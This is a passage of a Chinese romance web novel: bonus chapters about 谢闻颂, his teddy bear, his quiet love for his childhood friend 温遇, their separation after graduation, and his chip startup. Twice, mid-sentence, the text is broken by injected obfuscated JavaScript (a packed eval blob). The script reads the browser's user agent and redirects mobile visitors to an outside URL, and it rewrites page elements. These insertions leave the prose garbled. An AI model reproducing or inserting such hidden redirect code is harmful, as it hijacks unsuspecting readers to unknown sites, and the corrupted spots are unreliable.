他的睡眠质量,不出意外的在那个夏天大幅下滑,加上屋子里有些空,声音总是会回响,来来回回响在耳侧。 谢闻颂就是在这个时候开始怕黑、怕打雷声的。 可是在有第二个人存在的地方,他是绝对绝对不承认自己怕打雷声的。 像不理解小孩对着橱窗内的玩具哭闹一样,他觉得也会有人不理解为什么会怕雷声。 于是他开始尝试着在下雨的晚上放音乐,床头灯调到最暗,增强除了自己以外其他事物的存在感。 哪怕是没有生命的物体。 这样的情况逐渐得以改善,而那个夏天也要接近尾声。 不久,他收到长辈送的一只玩具熊,造型精致,手感上佳,饶是不喜欢这类东西的谢闻颂,还是忍不住揉了好几次它的头,贴心放在床头。 小熊黑漆漆的眼珠在浅光下呈现一种深邃的错觉,谢闻颂握住它一边手,在心底选择和它交朋友。 有小熊的陪伴,秋天的第一场雨来时,谢闻颂已经对雷雨声没那么敏感了。 这只小熊比一般的要大一些,他每次抱都能被填满,总是有种莫名的安心。 谢闻颂在想,也许它的体内藏了一颗隐形的心脏,因为他听见心脏怦怦怦跳动的声音很大。 谢闻颂知道,玩偶是没有心跳的。 他听见的,其实是他自己一下一下有力的心跳声。 但他发现,温遇也许比他更需要这只玩偶熊。 那年夏天过去,新的学期开始,温遇仍没和他一起上幼儿园,乔若琳说她又病了,没办法来这和他共同学习。 这个妹妹身体总是不太好。 谢闻颂在想,她在医院扎针会不会很疼。 她会不会怕那冰冷的针头。 于是他突然想到自己害怕雷雨天的心情,觉得那一定不好受。 他现在已经不那么怕了,所以也许有人比他更加需要这只小熊。 所以当妈妈再领着他去看妹妹的时候,他将其揣进自己的怀里,一路抱到医院,交到她的手里。 他想的是。 我把我的勇气借给你,期限是很久。 很久。 你一定要快点好起来。 也许是那只小熊带着他的祝福真的发挥了作用,后来温遇生病的次数越来越少,谢闻颂开始在学校见到她的身影,他脸上开始出现不自觉展露的笑容。 刚上小学,温遇因为身体原因没在幼儿园学到什么知识,跟上老师讲课的进度有些吃力,谢闻颂听到乔若琳说起这件事,说他可以帮忙。 小家教去上课的第一天,温遇正趴在桌子上,用铅笔尖给橡皮戳出一个个小黑洞,谢闻颂凑近看,连起来竟然是个心形。 “……” 他表情有点难以形容:“你不会……喜欢上谁了吧。” 那会儿的小孩,对“谈恋爱”这三个字还完全没有概念,只能用自己还没扩容的词汇库拽来差不多意思的词拎过来。 温遇直接把橡皮藏进手心,听见“喜欢”两个字明显反应很大,从脸颊一直红到耳尖:“我,我才没有。” 没有就没有吧。 他也不想和她纠结这个问题。 他顺手将课本摞在桌子旁边,瞥了眼温遇摊开的作业本,上面字迹歪歪扭扭,两位数加减法乍眼一瞅就知道基本没有几道做对的。 谢闻颂知道她因为生病也没什么基础,翻开书就打算先把知识点串一下。 手背被她指尖戳戳,他扭头,温遇不知道从哪儿翻出来一个巴掌大的小册子,里面每页都是某位男歌手的照片。 谢闻颂之所以对他有印象,是因为最近这个歌手真的很火,几首歌曲迅速登上各大音乐排行榜的前列,像他们这个年纪的小孩都听过零星半点,说明的确挺火的。 本子明显是温遇自己买的,纸页的边角度因为时常翻动都已经卷起筒状,她不厌其烦地再次用手捋平,彩色打印机打印出来的照片有些噪点,清晰度并不太好,可温遇还是越看越喜欢。 她一页一页地翻给谢闻颂看,絮絮叨叨说了很多,他就在旁边听,没有任何不耐烦的意思。 他觉得这和他在医院看见的温遇一点儿也不一样。 病床上,小小的,看似平静的她,眼波里浅浅的清澈,仿佛是隔绝周围一切的薄玻璃,她仍旧见人会笑,乖乖听话到扎针也不哭,只是会把嘴唇都咬出一排牙印 他去过几次,医生护士都夸她是个勇敢坚强的小女孩,说她是在这一片住院的小朋友,最坚强的那一个。 但其实,他曾经见过黑暗中,闪烁在温遇脸上的眼泪。 坐在桌子前的谢闻颂注视她侧脸专注的表情,不知怎么突然想起她之前某天晚上的那滴眼泪,一时有些出神。 那天谢闻颂摊开课本之后并没有讲多少,主要都在听温遇介绍自己的偶像,他注意到女孩小脑袋后面像小狗尾巴长短似的辫子,突然想伸手去碰碰。 他是这么想的,也是这么做的,发丝冰冰凉凉的扎在他手背上,泛起一层轻微的痒。 有什么在拨开涟漪。 一直等温遇说到嘴唇都发干才停下,谢闻颂趁她喝水的空隙,问了句:“真的很喜欢?” 温遇没有像往常他没听见她说的话一样,将语气捎上不满,而是认真和他四目相对—— “喜欢,很喜欢。” “就像——” 温遇轻轻皱起眉,眼神瞟到床头那只已经被她换上新裙子的小熊。 他给她以后,她自己买了好几套衣服给它。 就像—— “你送给我的那只小熊一样。” 谢闻颂也注意到那只熟悉的熊,它被温遇照顾得很好,甚至还穿上了合身的小裙子。 比在他家那会儿可爱。 谢闻颂单手压在书页上,斟酌:“感觉你,好像没有害怕的东西。” “有啊。”温遇垂下眼把手心大小的本子合拢,小心且妥帖放在书包夹层,然后相当坦然地对他说:“打针、吃药。” “都挺怕的。” 这句话她语气很轻,像片羽毛的重量。 要是谢闻颂那天没看见她的眼泪还真的会不太相信她这幅说辞。 可也正因为知道,所以才觉得她比他勇敢。 敢于面对自己害怕的事物,并且能当着其他人的面承认。 至少他曾经没做到。 谢闻颂开口:“可是很多人都说你很勇敢。” “可是你也说是有很多人看着我。”温遇抬起下嘴唇往上吹刘海,露出一个笑容:“那不得稍微装一下。” 他明显没想到温遇会这么回答,稍微愣了下,低头的瞬间弯起唇角。 嗯。 其实。 他也在装。 - 上小学以后,温遇不再像小时候一样爱生病,在学习上缓慢地找准属于自己的节奏,一步一个脚印地成长。 他们从同一个小学毕业,一起进入同一所高中,通过父母的关系认识了林思睿。 林思睿相对来说比他们更为外向一些,倒也不能说谢闻颂内向,只是他和不熟悉的人实在聊不起来,而林思睿仿佛把“自来熟”三个字刻在骨子里,同时凭借自身高超的情商,和他们打成一片。 其实能和林思睿成为还不错的朋友,谢闻颂自己也没怎么想到。 人与人之间的关系奇妙到,他有时候自己都不会想到下一步的发展到底是什么,好像都是相处着相处着,就成为还不错的朋友了。 刚上初中时,他和温遇不像小学那样做同桌,被分在相邻的两个班上。教两个班的各科老师大多都重合,每次考试之后,温遇没少在老师口中听到谢闻颂的名字。 她那时还有点较劲,对自己中等偏上的成绩不满意,毕竟自己身边时时刻刻有个过于优秀的人在旁边,做什么都想着去比较一下。 可却是每次都比不过,温遇因为这种心态还难过好一阵,谢闻颂将自己的一部分注意力放在她身上,怎么会看不出她的别扭。 他们每天一起上学又一起回家,谢闻颂发现这点其实并不难,可温遇却觉得自己装得挺好,以至于被他问起这件事时,下意识反问。 刚反问完的温遇就有点后悔,因为她知道这在谢闻颂眼里等于变相地承认。 谢闻颂听完她一整个曲折的心路历程,抬手隔着刘海弹了一下她脑门:“你是不是傻,和我较劲?” 温遇瘪起嘴,尤其是看到谢闻颂听完她的话之后还笑,气得不想再和他说一句话,不过还是被某人强制扳过头,被迫与他对视。 “你觉得我很厉害吗?” 虽然这话显得谢闻颂好像有点自恋,不过温遇倒是没反驳,默默抠起手指,从喉咙挤出来一个字:“嗯。” “那我这样厉害的人能一直待在你身边,每天和你一起做作业、和你一起上学一起放学——” “现在更厉害的人是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259366|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你知不知道?” 温遇双眼中有什么情绪在轻轻摇晃,心尖蒙上一层浅浅的酸。 她不笨,显然也明白谢闻颂的意思。 “嗯。” 比前一个“嗯”声音还闷。 谢闻颂接着问:“是谁?” 温遇:“是我。” 几句话,成功让温遇不再纠结自己和谢闻颂对比这件事,谢闻颂自己也知道,单凭自己这几句话,作用其实没那么大。 是温遇有自己正在旋转的星球,她的内核能量远被她自己所低估,有时候可能只需要一句鼓励或者点拨,她就能重新扳正自己的轨道。 温遇的能量,反而是靠她近的他,感受最强烈。 谢闻颂觉得,他们两个之间的关系,一直是他更需要她一点。 毕竟她是公主嘛。 公主,是需要仰望的。 温遇觉得他是比她厉害的人,谢闻颂倒正好和她想法相反。 其实他想对她说。 我是胆小鬼,我以前很害怕雷雨天。 明明很害怕,却总是嘴硬不承认。 他们之间,他才是那个一直和自己较劲的、不勇敢的人。 相较于他,温遇真的勇敢强大许多,烦恼从不过夜,能从外界转化力量为自己所用,她好像只要站在他身边,他的好心情就能维持一天。 她的能量就是那么大。 而当谢闻颂的情感像潮水一样漫到温遇那边,他才意识到自己的不对劲。 他没过多纠结,反正,他现在还能在她的身边就好,这份感情藏与不藏,与是否在她身边相比,显得并不举足轻重。 不过林思睿这家伙,是第一个看出来他喜欢温遇这件事,还是挺意外的。 被戳穿时,谢闻颂虽然没打算去否认什么,不过还是纳闷林思睿这样看上去大大咧咧的人,怎么会注意到这么细节的事。 感觉他应该是哪怕全世界都知道,他还得反应好一会儿的人。 没想到却是第一个察觉出来的。 林思睿像窥破他的心事一样窥破他的纳闷,觉得他做得挺明显的:“一直让你护着的,不就这一个?” “温遇中考结束去参加演唱会那事,不也是你解决的?” “她和我说,那一刻是你最接近她偶像的位置的时候。” 林思睿像是要挫挫他身上的锐气一般,极轻笑了声:“怎么样,你对这个答案满意么?” “……” 谢闻颂懒得回应他这种问题。 实则在心里慢慢地计较。 当时是最接近她偶像的位置。 那现在在温遇的心里,他会不会比“当时”的之前,位置还要高一些? 那好像这样,也可以。 谢闻颂低头笑。 还行,没白帮她。 在心里给他抬高了一个位置。 他很快想通,不会吹灰之力把自己哄好,林思睿还在一边嘟嘟囔囔他是怎么看出来这件事的,谢闻颂却没再仔细听,不打算继续讨论这事。 反正,多一个人知道,也无所谓。 他在心里这样想。 上高中以后要比初中忙碌许多,他们凑在一块的时间变成了每周的周末。 谢闻颂习惯先来找她,女孩子的房间有自己的隐私,他不会进,于是采光很好的宽阔书房成为他们写作业学习的地方。 相比于他放在一边摞得整齐的课本,温遇这边明显乱一些。 温遇当着他的面,从一堆杂物里揪出来一团打结的有线耳机。 和谢闻颂一起长大这么多年,她早已经将这点不好意思抛却在万里之外。 她跨过散落在地上的课本和卷子,还没开始学习就开小差问他要不要一起听歌。 挨在一起的两个软垫被放在地上,温遇坐在他旁边,把打结的耳机解开,一头递给旁边的谢闻颂。 他接过塞进耳朵,不受影响地继续看手中的卷子,温遇则一边哼歌,一边拾起距离她最近的课本,拿出荧光笔开始勾画。 耳机里播放不同种类的音乐,和笔扫在纸页上的摩擦音并不冲突。 他们各做各的事,却是随时可以被打扰的关系。 温遇会突然出声问他题,他也能从自己这抽身随时帮她解答。 夏日的午后总是过得特别慢,白云在一仰头的视野里缓慢移动,谢闻颂耳机里的那首《晴天》已经循环好多遍。 不知何时,他偏头,温遇已经抱着小熊打起盹来,玩偶被放在她的脸和膝盖之间,她靠着旁边的书柜,窝在那睡得挺香。 谢闻颂动作很轻地给她盖上外套,保持小心不扯到耳机线,他重新坐在她旁边时,耳机里的那首《晴天》已经又开始重新播放。 可他却忽然想换一首。 温遇的手机搁在他们之间,屏幕一直亮着,谢闻颂戳进歌手那一栏,指尖往下滑,最终停顿在《彩虹》那首歌上。 风拂开窗纱涌进来,带着清新的夏日气息。 白色的耳机线在他们之间架桥。 你要离开 我知道很简单 你说依赖是我们的阻碍 就算放开 但能不能别没收我的爱 当作最后我才明白 谢闻颂忽然想起小时候自己并不喜欢雨天这件事。 很嘴硬的年纪,很胆小的年纪。 记忆的闪光处,他也记得,有个人比他坦荡、比他坚强。 如果他早些知道雨过之后,会有彩虹,那他一定战胜雨天很早—— 不过现在也不晚。 他偏头。 很多话在心里讲过了。 温遇,我现在不会害怕雨天到来了。 因为彩虹,就在我身边。 77.谢闻颂[番外] 77/ 如果说之前的谢闻颂对于喜欢这件事是说不说都行,那么在得知温遇高考志愿报的是余杭以后,尤其是他一个人从机场回家那天,心里出现罕见的后悔。 于是很小年纪不断对自己说的那句“谢闻颂是胆小鬼”,在此刻仿佛被长大后的自己,重新在布满灰尘的角落捡起。 他用陌生的语气在心中念起那句熟悉的“谢闻颂是胆小鬼”时。 心口处有什么在轻微震动。 他感到完全陌生。 而三人小组在高中毕业后分别游向属于自己的选择—— 他选择留在南川。 温遇选择去余杭。 林思睿飞去国外。 林思睿要出国读书这件事是在他们上高二的时候定下的,当时三个人也不会想到,真的到分别的那一天,不舍的情绪会如此浓重。 早在内心最好的准备迎来崩塌,谢闻颂头一次觉得“再见”这两个字竟然会重到说不出口。 一起吃饭的当天,温遇是流眼泪最多的那个。 剩下的两个大老爷们在无声的眼神对视之中明白对方的意思:就算流眼泪,也肯定不能当着温遇的面前流。 况且谢闻颂觉得,他自己肯定不会哭的。 他天生的眼泪就比别人的少。 他才不会哭。 毕竟他还得收拾温遇的眼泪。 他眼中的温遇也很少哭,她好像很少用这种方式表达自己内心的难过,所以久而久之,谢闻颂找到她情绪波动最明显的特征,就是说话会变少。 这是谢闻颂印象中,温遇第一次哭成水龙头,眼眶和鼻尖泛着相似的红,他看到的第一时间是心里有点发酸。 手去够玻璃桌上的纸时,指尖竟然有些抖。 手帕纸刚才放在杯子旁边,玻璃杯上的冷凝水不小心滴上去,薄薄一层塑料包装像沾了露水,他低头将水碾进指纹,鼻腔内也涌起浅淡的湿气。 他把纸递给温遇,什么话也没说,只是沉默看着她脸颊上正在流淌的晶莹。 谢闻颂想起自己当时的心情还有点好笑。 他在想,她哭得这么伤心,其实不是为他。 这种想法冒出来的瞬间就让他觉得幼稚可笑,可他也知道,自己的确带了几分较真。 这种无意义的计较并没有意义。 而他懂得真正作祟的到底是什么。 可如果真的这么伤心为了他。 谢闻颂觉得还是算了吧。 可是人就是这样矛盾的,不管是做出某种选择还是萌生某种想法,它们在往一个方向去的时候都会劈叉,而往往我们都会下意识去设想另一种结果。 哪怕看起来很没必要的小事。 结束后,林思睿不和他们一路回去,谢闻颂和温遇走在一起,他盯着地面上投射的两个影子,鬼使神差还是问出那句“怎么没见你没为我哭成这样”。 谢闻颂知道,要想让温遇秒懂他在开玩笑,势必得拿出十足十的调侃语气。 不出意外,还没从情绪里走出来的温遇伸手拍了他一下,力道像在挠痒痒,谢闻颂瞟了眼地面影子中间的空隙,又靠她近了点。 中间空隙的姜黄色被彻底掩盖,两个人的影子彻底融为一体,他满意仰起脸,像成功做了一件令自己感到骄傲的事。 温遇听到他那番话后嘟囔了什么,谢闻颂其实没听清,再去问的时候,她便不答。 他也知道自己如果一直追问,肯定会被她发现端倪。 所以还是算了吧。 他选择不继续纠结这个问题的答案到底是什么。 …… 从高考再到或许是人生中最长的一个暑假结束,两个多月的时间里,谢闻颂可以说是经历了很多。 温遇和他提起说自己要去余杭的事,心头的巨震快要让他所处的地面开始崩裂,可是他只是低头又抬头,维持着脸上的表情,说了句“可以啊”。 这个决定他并非猜不到,只是没想到温遇选择得如此坚定,没有半分迟疑。 他说自己是胆小鬼的那句话重新浮上心头。 于是很小时候,他对温遇比自己更加勇敢这个念头也一齐涌上来。 他不能,也没有理由去阻止她去做什么决定。 他没有这个资格的。 他一路目送温遇填报好志愿,捧着鲜花重新回到南川附中,将其送给老师,然后和很多平时还算熟悉的朋友都打了招呼。 他就插着兜站在不远不近的位置等她。 眼神总是在周围绕个圈最后又回到她身上。 谢闻颂也知道这是那种情绪在作祟。 只是可惜连眼神都不能完全坦率。 有和谢闻颂一个理科班的同学问他志愿报的是哪所大学,他并没打算隐瞒,说出自己已经填报南大志愿这件事。 他分数足够高,无需为专业分数录取的问题而苦恼,他的路途,在他人眼里仿佛并无坎坷。 旁边有人发出羡慕的感叹,有人露出“原来如此”的表情,谢闻颂不受那些感喟的影响,一直维持少言少语的状态,有人问他他才会回应几句,并不主动凑热闹。 等到温遇走过来,他问要不要一起去吃个饭的时候,是他那时唯一的主动。 温遇自然没拒绝,他们告别同学,在校门口打上车。 并肩站在一起等车时,谢闻颂的心跳就已经不受控制加快。 出租车行驶在晚风里,各色的灯光从外界投射进车中,落在眼前,仿佛只是一层虚虚拢着的雾。 谢闻颂打开车窗,吹进车里的风已经降下温度,是很令人舒适的感觉。 只是他情绪不太高,不过因为他平时说话也少,所以旁人并没看出什么端倪,倒是温遇看出来问起。 他和温遇说,自己报南大了。 温遇低头正在回消息,听见这句反应慢半拍,然后脸上露出一贯的浅笑,回以三个字:“挺好的。” 谢闻颂盯着她的眼睛,从喉咙里艰难挤出一个字。 “嗯。” 挺好的吗。 一点也不好。 心中像压了块石头,谢闻颂有点喘不过气。 温遇似乎并不在乎他选择的是什么。 或者说,她从来没想过去了解他会做什么选择。 他们之间是私事不互相打扰的好朋友。 可他总是会有想要越界的念头。 两个人一起同步长大,谢闻颂没怎么往分开这方面想过,不过潜意识里他也知道肯定会有这一天。 没有谁会在谁身边一辈子。 可他总是会想贪恋再久一点。 南大和杭大开学时间接近,但是温遇想早一点过去,提前两周就买好了从南川飞往余杭的机票,她提着行李去机场那天,谢闻颂也在。 彼时,远在大洋彼岸的林思睿没眼力见地给谢闻颂拨了个视频电话,机场人声嘈杂,他正犹豫着要不要接,结果对面给他挂了,转头拨给温遇。 温遇自然很快接听,朝着镜头摆手,顺便上身一挪,谢闻颂的身影出现在画面里。 林思睿当时就明白他这么久没接到原因,短短说几句就说自己有事就先挂了,温遇没意识到反常,将注意力重新停留到手机上。 而谢闻颂不出意外秒收到林思睿的消息。 Three:我说了几句就挂了。 Three:她快上飞机了,你打算告诉她吗? 告诉什么不得而知。 谢闻颂想想,还是将手机调成静音放进兜里,他轻轻吸了口气,还没等扭头,机场播报的声音响起,温遇拿起包从位置上站起来,准备和他挥手告别。 人的勇气总是在某一刻达到顶峰,又会在某一瞬间重新落回地面,谢闻颂重新把话咽回去,默默跟在她的身后,像尊沉默的雕像。 白色飞机在天空轻轻划过,不留下一丝痕迹,可他没急着走,而是回到刚才温遇坐的位置坐下,双手下垂,十指交叉在腿间,心里涌上一股很难过的情绪。 如果说刚才还是只是丝丝缕缕地飘上来,那现在便是倾巢而出,犹如潮水奔涌。 那是他少有的后悔时刻。 倒不是后悔没把喜欢说出口,而是没再和她多说几句话—— 哪怕只是再简单不过的问候。 所以后来的四年时间,飞往余杭的机票和高铁票被他攒下厚厚一沓,那些没说出口的话,变成了一条条他再熟悉不过的航道和路线。 …… 环想的出现在谢闻颂的人生里,其实算个意外。 他上大一的时候,一位师哥加到了他的联系方式,问他有没有兴趣和自己一起和自己一起做个课题。 他起初以为这是什么诈骗信息,本打算直接删除,对面有预感似的说出他的名字,说自己的父母和他的父母在一个研究所共事,听说他今年也考入南大,也算是自己的学弟。 谢闻颂开始以为眼前这位师哥只比他大一两届,结果后来从乔若琳那边得知,师哥都已经快博士毕业。 他也不知道有什么课题是需要找他一个刚上本科的人去做的。 不过对面至少不是坏人。 南大的实验室不是所有学生都能进去,师哥学的是微电子相关专业,有资格提前预约。谢闻颂第一次和他见面在这,照理说这个专业和学历毕业根本不愁找不到工作,谢闻颂也是和他见面以后才知道,他有自己的想法。 虽然对于谢闻颂自己来说,他也是一个不太循规蹈矩按所谓路线走的人,不过他对自己当下要做的事十分清楚,而恰巧他认为当下要做的事符合别人眼里正确的决定。 所以他一直是家长和老师口中的好孩子,只是他不太关注那些头衔。 对于不重要的事,他投注的注意力一向很少。 包括这些镶在他表面的标签。 这位师哥也是,过着别人眼里循规蹈矩的生活。 所以当他说起以前和自己相似的经历和感受时,谢闻颂还是没忍住触动了一下。 也许是机缘巧合,又或许是想做一些自己以前从没想过的事,陌生又充满无限遐想的种子在他体内生根发芽。 师哥的父母不太支持他放弃就业,而选择风险很大的创业想法,他只能尽可能在毕业之前做些什么。对于谢闻颂的选择,他在联系他之前就做过一些了解,他认为一个人处理东西的思维和头脑更重要,年纪并不是最大的问题。 他们可以试试看。 于是,谢闻颂课桌上的专业书越来越多,他并非是师哥的直系学弟,很多东西都需要额外拓展,学习一项从未接触过的知识,对一个人的学习能力要求很高。 对于聪明的人,触类旁通只是基本技能。 师哥也找了几个相熟的朋友一起创业,谢闻颂是这个团队里年龄最小的人,一开始众人兴致都挺高,大家不吝啬教他,团队氛围很好,他也成长得很快。 “环想”这个名字还是他起的,源于一个夏天午后,他们几个人坐在租来的办公间,空调都还没来得及装,俨然像一间什么陈设都没有的样板房。 几个人把文件资料放在最中间,弯腿随意坐在地上,交流着他们的畅想。 有时候都会讨论上一整天,等到结束之后还会有人瘫倒在地上,商量着要点什么外卖。 气氛很好,那是他经历的相对来说很难忘的一段时间。 谢闻颂虽然是最小的,却也是学得最快的那个,有什么好想法基本都是他提出的。团队里的师哥师姐不止一次说过环想真是招了个宝,谢闻颂倒没觉得自己重要到这一步,他也只是在此刻做自己觉得对的事。 如果能把自己觉得对的事做好。 那他也属于幸运的那一个。 大二暑假,温遇回了南川一趟,谢闻颂和她见面并没觉得恍惚,毕竟他总去余杭,不管见没见到她,反正空气已经让他感到熟悉。 仿佛踏入这片土地,呼吸这片空气,就能让他安心。 温遇朋友圈发过的咖啡店他去过,和朋友一起聚餐的饭店他也去吃过,点了一份自己并不能承受,但她大肆夸奖的超辣水煮鱼,结果吃到差点去医院挂水,他在余杭待了好几天,养好才回南川。 看起来蠢蠢笨笨的事。 可谢闻颂仍旧觉得自己做的是对的。 而这些事,也只有他自己知道。 大三下,环想开发的芯片迎来第一波小小的热潮,最初的几个人坐在已经初具雏形的工作间,点了一桌的外卖庆祝这份刚起步的成功。 热辣味飘散在整个空间里,师哥说谁要是把谢闻颂找人涂好的墙蹭花了,半夜就一定被他拎到马路上睡。 几人笑成一片,玻璃杯相互碰撞的脆响庆祝这个旁人认为无比普通的夜晚。 谢闻颂拿着手机走出工作间,在堆了些杂物的走廊上,看见师哥倚在墙边正在抽烟。 他默默打开窗户,师哥不好意思地碾灭烟头:“不好意思啊,熏到你了。” 谢闻颂摇头,同样靠在墙上,问他怎么没去吃饭。 师哥沉默了会儿,告诉他自己可能离开环想的事实。 他说自己博士毕业,入职一家薪资待遇还不错的公司,干了一段时间发觉年轻时冲动的激情逐渐退去,他好像没有继续待在这里的理由。 工作室刚刚起步,还有好多熟悉的人在,谢闻颂这个时候收到这样的消息,心里没有波动是假的,只是他一贯不会在脸上,相当平静地对他说:“再商量商量吧。” 这句话没起到什么作用,最初带他进来的师哥还是选择离开,环想陷入一段时间的低迷期,也正是这个时候,是谢闻颂和剩下几个人一起扛起来的。 后来温遇无意间和他聊起那段时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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师哥退出以后,很多事情猛然砸下来,谢闻颂第一次觉得自己能忙碌到这种程度,稍微能喘口气的空隙,他终于松下神经,累到睡在椅子上,梦里都是温遇那张脸。 他和她的对话框一次次被其他消息顶下去,谢闻颂实在没办法接受这个事实。于是他干脆把她设成置顶,一次次戳进对话框,再犹犹豫豫退出来。 谢闻颂是胆小鬼。 谢闻颂怎么不是胆小鬼。 从椅子上醒来,全身的骨头仿佛从身体里剥离出来全部打碎再重新装回去,他走进卫生间洗了把脸,订了最近一趟前往余杭的高铁。 谢闻颂出发时全身上下就带了一个手机,下高铁的时候刚好没电,他在高铁站附近的便利店里租了个充电宝,等待手机开机重新连上网,置顶的对话框仍旧没有任何新消息。 日光从远处天际边缘延伸,接近上班的时间,便利店里又开始热闹起来,谢闻颂点了份关东煮当早饭,他坐在最里面的位置,忽视外界尘嚣。 第一口热汤下肚,他被胃疼激得后背抖了下,半口萝卜含在嘴里,被他嚼成几乎要和汤融为一体的时候才开始往下咽。 那是他头一次觉得吃早饭不是感觉到饱,而是疼。 手机充好电,谢闻颂顶着冷风往杭大跑,这个时间段已经放寒假,大多数学生早就收拾行李回家了,他没想着能在这碰到温遇。 毕竟之前他前几次来的时候,一次都没碰见她。 他只是想来转一转,借一口熟悉的氧气疗愈。 可偏偏惊喜总是在他意料不到的时候出现。 因为他看见温遇了。 早晨还晴朗的天气现在又变得阴沉沉,湿润的雾气下沉,冷不太客气地渗进骨头里,谢闻颂外套只穿了件单薄的风衣,两头长短不一的系带耷拉在腿侧。 他想都不用想,自己看上去一定很憔悴,也很狼狈。 可就是在他这样窘迫的时刻,温遇抱着书迎面走过来,在看清他时愣在原地。 雪缓缓飘落,谢闻颂感觉自己的睫毛重如千斤,却不舍得眨眼,定定地看着对面站着的人。 温遇白色的长款羽绒服一路到腿弯,她披着头发,刘海下的眼睛仍旧清澈透亮,像一汪视可见底的清泉。 是他熟悉的她。 谢闻颂什么话都说不出来,还是温遇好奇地“咦”一声,抱着书走到他面前来,喊了声他的名字。 温遇又问他怎么会出现在这里,谢闻颂张张口却什么也说不出来,眼神从她身上剥离向上看,细小的雪花还在向下落。 他不知道该怎么说,只能装傻。 温遇笑了声,根本不继续追问,而是问他饿不饿,要不要一会一起吃饭,说他们学校有几个窗口的饭很好吃,她来请客。 温遇单方面输出的话一直进行到这,谢闻颂才说一句好。 从温遇那,他知道原本她没打算过来的,只是因为要给学妹送书,才从家里过来了一趟。 所以这样的巧合,是上天赐给他的吗? 在他经历了一些不太顺利的事之后赐给他的。 谢闻颂在心里这样想。 不管多久没见面,温遇对亲近的朋友不会主动产生任何隔阂,她甚至还能主动找话题和他聊,他们之间不自然的那个,只有谢闻颂。 被一次次压抑在心中的思念丝毫不费力地冲破那层钝感向外蔓延,谢闻颂从手指开始轻微的抖,他下意识攥成拳头,用掌心挤压,试图去缓解。 雪化在脸上就是雨。 谢闻颂分不清那是水还是泪。 温遇看见,问他怎么哭了。 他说那是雪落在他脸上的水滴。 那是他为数不多骗过温遇的事。 很久很久很久以前,他害怕雨天的到来,害怕打雷和闪电,可很久很久以后,他对这些都不再害怕。 所有胆怯横生的情绪,都因为心底藏了一个秘密。 他们并肩走在雪里,温遇一边搓着手说好冷,一边催他快点走。 谢闻颂快速拭掉眼泪,弯起唇角,很乖地跟在她身后,说了声好。 如果条件允许,他想像个小孩一样攥住她的衣角,毕竟喜欢总会让人得寸进尺。 可是也太幼稚了,他想想还是决定放弃。 反正跟在她身后走也是一样的。 那么多烦恼的事,在看见她的那一刻就被悬停在半空,轻松被温遇捉住。 她摆弄那些烂纸团,一个个拆开仔细阅读,然后略带傲娇地看了他一眼,坚定而又认真道:“谢闻颂才不会被这些困难击倒呢。” “我相信他。” 于是他默默将雪融成水碾进掌纹。 眼前飘落的雪花像一场被放慢节奏的雨。 温遇,你知不知道。 千万个雨滴同时悬落,可我也只看得见你。 78.妹妹[番外] 79/ “也许有这样一个人,刻意放慢成长,只为了陪你长大。” - 温遇有时候并不想和谢闻颂一起写作业。 原因是,作业仿佛只是这人所解决的最小的一件事,刚开始温遇还会和他较点劲看谁先写完作业,结果对面这人完全没有要和她较劲的意思。 没有和她较劲。 她也确实比不过。 谢闻颂专注起来效率高得吓人,温遇这头刚找到网线的头在哪,结果他那边都已经使用激光通信,直接奔向宇宙。 她刚写完一科的作业,扭头看见谢闻颂已经慢悠悠翻课本,她以为他是想在上面找作业题里的答案,实际上他已经开始预习了。 身边有尊学习的神,温遇也逐渐有些压力,不过还没等她情绪往下沉,就被人一把捞起来。 然后由于某人的原因而造成的低沉,自然由“罪魁祸首”帮她处理掉这些负面情绪。 毕竟按照谢闻颂的话来说,她是一杯奶茶就能哄好的人。 温遇觉得自己得提高点自己被哄好的标准,因为她感觉到谢闻颂说这句话时,用了十足十的调侃语气。 明显是觉得她很好哄。 这可不对。 于是她默默将腮帮鼓成小河豚,笃定下一次绝不被一杯奶茶所收买—— 两杯还可以考虑一下。(*?︶?*) - 高二分科以后,两个人因为不同的选择被分向两座不同的教学楼,中间相隔一整个操场,也正因为此,他们在学校里遇见的频次相较以前大幅度减少,温遇倒觉得时间过得挺快,对这种变化很快适应。 那会儿谢闻颂还没搬家,他们两个放学后还能在校门口汇合约着一起走。 还剩点作业,温遇想在车里写完,回家直接洗澡睡觉,只可惜车里太黑,光线暗挺伤眼睛,她想想之后还是决定算了。 作业掏到一半又被她给放回去,细微纸张摩擦的声音响在车里。 “咔——” 谢闻颂打开车内灯,但光色仍旧呈现一种灰灰的色调,只能用于最基本的照明。 谈不上照得有多亮堂。 温遇谨慎地往旁边看了眼。 这人是不是背着她偷偷进修过读心术。 “谢谢。”温遇注意到是他把灯给打开的,下意识说声谢。 “你,是不是心情不太好?” 温遇其实不怎么问别人这种问题,也不主动揣摩对方的意思。不过谢闻颂刚把灯帮她打开,她感觉到什么,感觉不问候一句也不太好。 谢闻颂单手撑着脑袋,听见这句问话才扭头,耳机的线在校服落下一条细窄的灰影。他只戴了一边耳朵,温遇盯着那细条的影子晃晃,选择收回视线。 他可能不太愿意说什么。 她也不会再问更深。 刚才也只是因为他帮忙而回应的一句。 温遇甚至都没把这当成插曲来看,重新将注意力放在自己上。 秉持着有什么样的条件就适应什么样条件的原则,她重新从书包里掏出试卷,拉开笔袋,准备继续写没做完的题。 铅笔在试卷上划出沙沙声,温遇感觉头顶突然多了一束更亮眼的光,她刚要抬头,谢闻颂伸手轻轻挡在她眼前:“别往上看。” 手和她的脸之间隔着距离,谢闻颂挡住自上而下投射的光,温遇闻到他手上很淡的薄荷味,然后听见他嘴里在咬糖的声音,将视线平落,与他交叠。 